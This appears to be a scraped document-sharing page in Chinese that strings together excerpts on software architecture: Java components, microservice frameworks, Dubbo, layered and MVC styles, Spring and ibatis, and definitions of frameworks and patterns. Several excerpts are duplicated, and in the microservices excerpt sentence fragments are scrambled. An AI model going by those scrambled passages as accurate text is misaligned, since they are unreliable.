Java组件开发的一个概念框架 我先介绍几个在构建和设计解决方案来适应商业活动中的持续变化时需要注意的商业场景: ·公司需要将其文件仓库从文档文件转成网络文件。·公司需要更换其安全提供商。 ·因为经济情况的巨大的改变,保险公司必须扩展其保险流程政策到更大范围。一样东西是很确定的,需求更改就像商业和技术一样快速改变。但是对于所有改变,无论其大小,我们都需要抛弃原来整个系统重新开始么?这是不必要的—架构和设计解决方案时加入少许考虑,好的策略以及最优方法可以适应现有的体系结构的变更而不需要太多争辩。在面向对象编程以及分布式对象技术中,组件是类和接口的集合,通过可重用的外部API来满足需求(功能性的以及非功能性的)。组件应该可以在分布式网络环境运行来形成网络程序。基于组件的设计和开发对于遵循面向对象分析与设计(OOAD)的方法学的专家并不是新的话题。本文的目的是根据java的最优方法和最初开始一步一步地达到通用的概念模型来开发java组件。本文面向的读者需要具有Java,UML以及Java/J2EE设计模式的知识。这篇文章主要描述的范围是:·组件的基本性质。 ·如何利用Java设计最优方法(设计模式)来实现这些
Java组件设计的基本性质,并且形成一个概念上的基本组件开发框架, 这个框架将来可以方便地用于任何组件开发中的。组件的基本性质 ·为了让其他组件可以与之相互作用,组件必须有服务接口(API)。 ·组件必须有合适的生命周期机制(start, stop, initialize 等等) ·组件必须可以配置。 ·组件只有一个实例在企业程序中运行。 ·配置的改变应该是动态的(在运行中)。 ·组件必须有合适的第三方软件融入的机制。 ·组件必须有合适的处理错误机制如何实现基本的组件性质 组件必须有服务接口(API)无论我们是在一个类还是几个类中写100行到1000行的代码,最终劳动成果(类或者类的结合)提供一些基本的高级的服务。返回去想想,我们甚至可以在实现他们之前定义那些我们想要达到的基本的高级的服务。让我们举个来自保险界的例子,保险商在他每天做了以下的工作: ·检查保险申请。 ·收集并评估背景信息。 ·根据公司现有的规则计算保险金
微服务框架的设计与实现
微服务框架的设计与实现① 张晶1, 黄小锋2, 李春阳3 1(北京中电普华信息技术有限公司, 北京100192) 2(中国电建集团国际工程有限公司, 北京100048) 3(国网信息通信产业集团有限公司, 北京100031) 摘 要: 相对于传统单块架构, 微服务框架具有技术选型灵活, 独立部署, 按需独立扩展等优点, 更适合当前互联网时代需求. 但微服务架构的使用引入了新的问题, 如服务注册发现、服务容错等. 对微服务框架引入的问题进行分析, 并给出了微服务框架的一种实现方案, 在框架层面解决服务注册发现、服务容错等共性问题, 使业务系统开发人员专注于业务逻辑实现, 简化系统开发的难度, 提高开发效率. 关键词: 微服务框架; 服务注册; 服务发现; 服务容错 Design and Implementation of Microservice Architecture ZHANG Jing1, HUANG Xiao-Feng2, LI Chun-Yang3 1(Beijing China Power Information Technology Co. Ltd., Beijing 100192, China) 2(PowerChina International Group Limited, Beijing 100048, China) 3(State Grid Information & Telecommunication Industry Group Co. Ltd., Beijing 100031, China) Abstract: Compared with traditional single block architecture, microservice architecture has many advantages, such as flexible technology selection, independent deployment, and independent scalability more suitability for the current needs of the internet age, etc. But microservice architecture also introduces new problems such as service registration, service discovery, service fault tolerance. On the basis of the analysis for problems mentioned above, this paper proposes one implementation of microservice framework, which can solve service registration, service discovery, service fault tolerance and other common problems. Based on this, developers only need to focus on the development of business functions, so that it can simplify the difficulty of system development and improve development effectiveness. Key words: microservice architecture; service registration; service discover; fault tolerance 传统信息化系统的典型架构是单块架构(Monolithic Architecture), 即将应用程序的所有功能都打包成一个应用, 每个应用是最小的交付和部署单元, 应用部署后运行在同一进程中. 单块架构应用具有IDE友好、易于测试和部署等优势, 但是, 随着互联网的迅速发展, 单块架构临着越来越多的挑战, 主要表现在维护成本高、持续交付周期长、可伸缩性差等方面[1]. 微服务架构(Microservices)的出现以及在国内外的成功应用, 成为系统架构的一种新选择. 很多大型宝等都已经从传统单块架构迁移到微服务架构[2]. 微服务架构提倡将单块架构的应用划分成一组小的服务, 互联网公司如Twitter、Netflix、Amazon 、eBay、淘服务之间互相协调、互相配合, 为用户提供最终价值. 1 微服务架构 微服务架构是一种架构模式, 采用一组服务的方式来构建一个应用, 服务独立部署在不同的进程中, 不同服务通过一些轻量级交互机制来通信, 例如RPC、HTTP等, 服务可独立扩展伸缩, 每个服务定义了明确的边界, 不同的服务甚至可以采用不同的编程语言来实现, 由独立的团队来维护[3]. 相对于传统的单体应用架构, 微服务架构具有单个服务易于开发、理解和维护; 复杂度可控; 技术选 ①收稿时间:2016-09-18;收到修改稿时间:2016-11-03 [doi: 10.15888/https://www.360docs.net/doc/2114327343.html,ki.csa.005796]
分布式服务框架Dubbo及相关组件集成
1.D ubbo介绍 1.1.简介 Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,是阿里巴巴SOA服务化治理方案的核心框架,每天为2,000+个服务提供3,000,000,000+次访问量支持,并被广泛应用于阿里巴巴集团的各成员站点。 Dubbo最大的特点是按照分层的方式来架构,使用这种方式可以使各个层之间解耦合(或者最大限度地松耦合)。从服务模型的角度来看,Dubbo采用的是一种非常简单的模型,要么是提供方提供服务,要么是消费方消费服务,所以基于这一点可以抽象出服务提供方(Provider)和服务消费方(Consumer)两个角色。 上图中,蓝色方块表示与业务有交互,绿色方块表示只对Dubbo内部交互。上述图所描述的调用流程如下: 1)服务提供方发布服务到服务注册中心; 2)服务消费方从服务注册中心订阅服务; 3)服务消费方调用已经注册的可用服务; 1.2.核心功能 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。 1.3.Dubbo能做什么? 透明化的远程方法调用:就像调用本地方法一样调用远程方法,只需简单配置,没有任何API 侵入。 软负载均衡及容错机制:可在内网替代F5等硬件负载均衡器,降低成本,减少单点。 服务自动注册与发现:不再需要写死服务提供方地址,注册中心基于接口名查询服务提供者的IP地址,并且能够平滑添加或删除服务提供者。
系统架构设计框架简介
基于组件的架构 应用可以按组件划分,不用组件实现不同功能和逻辑,组件之间的接口规范有很好的定义。某些组件可以重用。 如果 有若干现成组件,比如以前系统的ActiveX组件或者.net的组件 应用程序足够简单而不需要分层的架构,通过调用这些组件就可完成大部分工作 不同语言开发的组件需要结合在一起,如https://www.360docs.net/doc/2114327343.html,需要调用VB写的COM+的组件 应用程序需要支持插件技术,可以动态切换组件,例如用.net反射技术实现的插件技术 那么我们可以选择基于组件的架构。 分层Layered的架构 应用被划分成了堆叠在一起的若干层,每一层完成特定的服务和功能,与其上下层接口,各层之间是调用被调用的关系。在最上面的层只有调用下面的一层,在中间的层则兼有调用和被调用。在最下面的层则是仅供上面的层调用。通常划分成UI层,商务逻辑层,数据层等,并且通常多个层都部署在同一台服务器上。
如果 应用程序比较复杂,不同的功能需要不同的层来各司其职,如数据访问,商务逻辑,表现等。有比较复杂的商务逻辑和流程。 那么我们可以选择分层的架构。 Model,View,Controller(MVC)架构 用户交互的处理与UI显示分离 用户交互的处理和UI显示与数据分离
如果 要获得分离的UI视图和处理逻辑 要UI视图和处理逻辑与数据存储分离 3Tier/N Tier的架构 Tier可以译成排。以与Layer(层)有所区别。将应用程序划分成一系列的服务,包括UI, Business(商业逻辑),数据等服务。各Tier可部署在不同的服务器上。类似于分层(layer)的架构。通常分层(layer)不跨机器的边界,也即所有层(layer)都部署在一台服务器上。Tier 是要跨机器的边界。各Tier之间用预定义的通信协议来通信,如WCF,Web service,或者TCP/IP等。分层(layer)的各层(layer)之间的通信都是通过该编程语言的引用和调用来实现的。所以是有区别的。
各技术框架架构图
各种系统架构图及其简介 1.Spring 架构图 Spring 是一个开源框架,是为了解决企业应用程序开发复杂性而创建的。框架的主要优势之一就是其分层架构,分层架构允许您选择使用哪一个组件,同时为J2EE 应用程序开发提供集成的框架。Spring 框架的功能可以用在任何J2EE 服务器中,大多数功能也适用于不受管理的环境。Spring 的核心要点是:支持不绑定到特定J2EE 服务的可重用业务和数据访问对象。这样的对象可以在不同J2EE 环境(Web或EJB )、独立应用程序、测试环境之间重用。 组成Spring 框架的每个模块(或组件)都可以单独存在,或者与其他一个或多个模块联合实现。每个模块的功能如下: ?核心容器:核心容器提供Spring 框架的基本功能。核心容器的主要组件是BeanFactory ,它是工厂模式的实现。BeanFactory 使用控制反转(IOC )模式将应用程序的配置和依赖性规范与实际的应用程序代码分开。 ?Spring 上下文:Spring 上下文是一个配置文件,向Spring 框架提供上下文信息。Spring 上下文包括企业服务,例如JNDI 、EJB 、电子邮件、国际化、校验和调度功能。 ?Spring AOP :通过配置管理特性,Spring AOP 模块直接将面向方面的编程功能集成到了Spring 框架中。所以,可以很容易地使Spring 框架管理的任何对象支持AOP 。Spring AOP 模块为基于Spring 的应用程序中的对象提供了事务管理服务。通过使用Spring AOP ,不用依赖EJB 组件,就可以将声明性事务管理集成到应用程序中。 ?Spring DAO :JDBC DAO 抽象层提供了有意义的异常层次结构,可用该结构来管理异常处理和不同数据库供应商抛出的错误消息。异常层次结构简化了错误处理,并且极大地降低了需要编写的异常代码数量(例如打开和关闭连接)。Spring DAO 的面向JDBC 的异常遵从通用的DAO 异常层次结构。 ?Spring ORM :Spring 框架插入了若干个ORM 框架,从而提供了ORM 的对象关系工具,其中包括JDO 、Hibernate 和iBatis SQL Map 。所有这些都遵从Spring 的通用事务和DAO 异常层次结构。
(完整版)架构、框架、模式、构件、组件、中间件之间区别
1.什么是架构? 架构、框架、模式是一种从大到小的关系,也是一种组合关系。 架构一般针对一个行业或一类应用,是技术和应用完美的结合。 框架因为比较小,很多表现为中间件,框架一般是从技术角度解决同类问题,例如J 道数据增删改查框架就解决了所有数据库系统中大量数据增删改查的功能开发,框架是从技术的横切面去解决实际应用问题。 模式则更小了,越小越灵活,可重用的范围更广。 一个框架可能使用了多个模式,而一个架构有可能应用了多个框架,这样一个大型系统的设计基本从主骨干到骨架基本能够被设计者考虑设计到,也可以想见,一个系统被细化成了很多工作量,例如一个部分细化到工厂模式,那么就可以要求程序员实现工厂模式的代码即可。 由此,控制了大型软件质量,也提高开发效率,同时使得项目变得易于管理和协同,由此可见,一个大型项目的架构设计非常重要。 2.什么是框架? 框架即framework,是某种应用的半成品,一组组件,供你选用完成你自己的系统。 简单说就是使用别人搭好的舞台,你来做表演。而且,框架一般是成熟的,不断升级的软件。 3.什么是模式? 模式即pattern,就是解决某一类问题的方法论,解决某类问题的方法总结归纳到理论高度,那就是模式。 Alexander给出的经典定义是:每个模式都描述了一个在我们的环境中不断出现的问题,然后描述了该问题的解决方案的核心。通过这种方式,你可以无数次地使用那些已有的解决方案,无需在重复相同的工作。 模式有不同的领域,建筑领域有建筑模式,软件设计领域也有设计模式。 当一个领域逐渐成熟的时候,自然会出现很多模式。 4.什么是构件? 构件(component)是可复用的软件组成成份,可被用来构造其他软件。 它可以是被封装的对象类、类树、一些功能模块、软件框架(framwork)、软件构架(或体系结构Architectural)、文档、分析件、设计模式(Pattern)等。 构件分为构件类和构件实例,通过给出构件类的参数,生成实例,通过实例的组装和控制来构造相应的应用软件,这不仅大大提高了软件开发者的开发效率,也大大提高了软件的质量。 5.什么是组建? 组件就是对象。C++ Builder中叫组件,Delphi中叫部件,而在Visual BASIC中叫控件。组件是对数据和方法的简单封装。 C++ Builder中,一个组件就是一个从TComponent派生出来的特定对象。 组件可以有自己的属性和方法,属性是组件数据的简单访问者,方法则是组件的一些简单而可见的功能。 组件是C++ Builder环境中最令人激动的部分。使用组件可以实现拖放式编程、快速的属性处理以及真正的面向对象的设计。 VCL和CLX组件是C++ Builder系统的核心。
常见的十三种系统框架
最常用的系统框架都有哪些? OpenXava OpenXava是一个让使用XML与Java来开发J2EE商业应用程序变得简单的框架。它目前支持IBM WebSphere应用服务器,但在开发过程中可以使用 JBoss.OpenXava1.1版本支持以下特点: ◆支持WebSphere 5.0, 5.1和6.0, JBoss 3.2.x和4.0.x包括native EJB CMP2 EntityBeans ◆它已经被用在许多商业项目上 ◆易用,使用它可以获得高的开发效率 ◆灵活:可以在任意位置插入自己的功能。 ◆基于商业化组件的概念 ◆完全地MVC ◆使用有着成熟商业应用程序丰富特性的Web用户接口 ◆可生成整个J2EE应用程序 ◆它应用到的开源项目有:Ant, JUnit,JasperReports,TL,XDocLet,Hibernate 等 karma karma是一个轻量级并且易于使用的J2EE应用程序框架。当前它包含“COMMON”与“JCR”这两个组件。“COMMON”组件是整个框架的核心并且基于mvc模式。这个组件易于测试(提供mock对象供测试),很少的XML描述,易于学习因为它使用简单的POJO动作(actions),拦截器(interceptors)和过滤器(filters) 还提供对AJAX的支持。 “JCR”组件是一个持久层框架但它没有XML映射文件并能与其它web框架相结合如:Spring MVC框架。 Keel Framework Keel Framework是一个把专注于应用程序开发某方面(如:用户接口,数据库,消息,安全等等)的开源或商业的框架以插件的方式整合在一起的元框架。Keel围绕三种核心模式进行构建: 1.COP模式(Component Oriented Programming:面向组件编程)这就为应用程序提供了一个灵活的插件(plugging/unplugging)框架。 2.SOC模式(Separation of Concerns:关注分离)这允许用户执行/控制/修改任何组件的功能而不会影响到其它组件。 3.IOC模式(Inversion of Control:反转控制)。
架构,框架,模式,构件,组件,中间件之间区别
1.什么是架构? 架构、框架、模式是一种从大到小的关系,也是一种组合关系。 架构一般针对一个行业或一类应用,是技术和应用完美的结合。 框架因为比较小,很多表现为中间件,框架一般是从技术角度解决同类问题,例如J道数据增删改查框架就解决了所有数据库系统中大量数据增删改查的功能开发,框架是从技术的横切面去解决实际应用问题。 模式则更小了,越小越灵活,可重用的范围更广。 一个框架可能使用了多个模式,而一个架构有可能应用了多个框架,这样一个大型系统的设计基本从主骨干到骨架基本能够被设计者考虑设计到,也可以想见,一个系统被细化成了很多工作量,例如一个部分细化到工厂模式,那么就可以要求程序员实现工厂模式的代码即可。 由此,控制了大型软件质量,也提高开发效率,同时使得项目变得易于管理和协同,由此可见,一个大型项目的架构设计非常重要。 什么是框架? ?? 框架,即framework。其实就是某种应用的半成品,就是一组组件,供你选用完成你自己的系统。简单说就是使用别人搭好的舞台,你来做表演。而且,框架一般是成熟的,不断升级的软件。 什么是模式? 模式,即pattern。其实就是解决某一类问题的方法论。你把解决某类问题的方法总结归纳到理论高度,那就是模式。 ? Alexander给出的经典定义是:每个模式都描述了一个在我们的环境中不断出现的问题,然后描述了该问题的解决方案的核心。通过这种方式,你可以无数次地使用那些已有的解决方案,无需在重复相同的工作。 ? 模式有不同的领域,建筑领域有建筑模式,软件设计领域也有设计模式。当一个领域逐渐成熟的时候,自然会出现很多模式。 ? 什么是构件? 构件(component)是可复用的软件组成成份,可被用来构造其他软件。它可以是被封装的对象类、类树、一些功能模块、软件框架(framwork)、软件构架(或体系结构Architectural)、文档、分析件、设计模式(Pattern)等。构件分为构件类和构件实例,通过给出构件类的参数,生成实例,通过实例的组装和控制来构造相应的应用软件,这不仅大大提高了软件开发者的开发效率,也大大提高了软件的质量。
各种系统架构图及其简介
各种系统架构图及其简介 1.Spring架构图 Spring是一个开源框架,是为了解决企业应用程序开发复杂性而创建的。框架的主要优势之一就是其分层架构,分层架构允许您选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。Spring框架的功能可以用在任何J2EE服务器中,大多数功能也适用于不受管理的环境。Spring的核心要点是:支持不绑定到特定J2EE服务的可重用业务和数据访问对象。这样的对象可以在不同J2EE环境(Web或EJB)、独立应用程序、测试环境之间重用。 组成Spring框架的每个模块(或组件)都可以单独存在,或者与其他一个或多个模块联合实现。每个模块的功能如下: ?核心容器:核心容器提供Spring框架的基本功能。核心容器的主要组件是BeanFactory,它是工厂模式的实现。BeanFactory使用控制反转(IOC)模式将应用程序的配置和依赖性规范与实际的应用程序代码分开。 ?Spring上下文:Spring上下文是一个配置文件,向Spring框架提供上下文信息。Spring上下文包括企业服务,例如JNDI、EJB、电子邮件、国际化、校验和调度功能。 ?Spring AOP:通过配置管理特性,Spring AOP模块直接将面向方面的编程功能集成到了Spring框架中。所以,可以很容易地使Spring框架管理的任何对象支持AOP。Spring AOP模块为基于Spring的应用程序中的对象提
供了事务管理服务。通过使用Spring AOP,不用依赖EJB组件,就可以将 声明性事务管理集成到应用程序中。 ?Spring DAO:JDBC DAO抽象层提供了有意义的异常层次结构,可用该结构来管理异常处理和不同数据库供应商抛出的错误消息。异常层次结构简化 了错误处理,并且极大地降低了需要编写的异常代码数量(例如打开和关闭连接)。Spring DAO的面向JDBC的异常遵从通用的DAO异常层次结构。 ?Spring ORM:Spring框架插入了若干个ORM框架,从而提供了ORM的对象关系工具,其中包括JDO、Hibernate和iBatis SQL Map。所有这些都遵从Spring的通用事务和DAO异常层次结构。 2.ibatis架构图 ibatis是一个基于Java的持久层框架。iBATIS提供的持久层框架包括SQL Maps和Data Access Objects(DAO),同时还提供一个利用这个框架开发的JPetStore实例。 IBATIS:最大的优点是可以有效的控制sql发送的数目,提高数据层的执行效率!它需要程序员自己去写sql语句,不象hibernate那样是完全面向对象的,自动化的,ibatis是半自动化的,通过表和对象的映射以及手工书写的sql语句,能够实现比hibernate等更高的查询效率。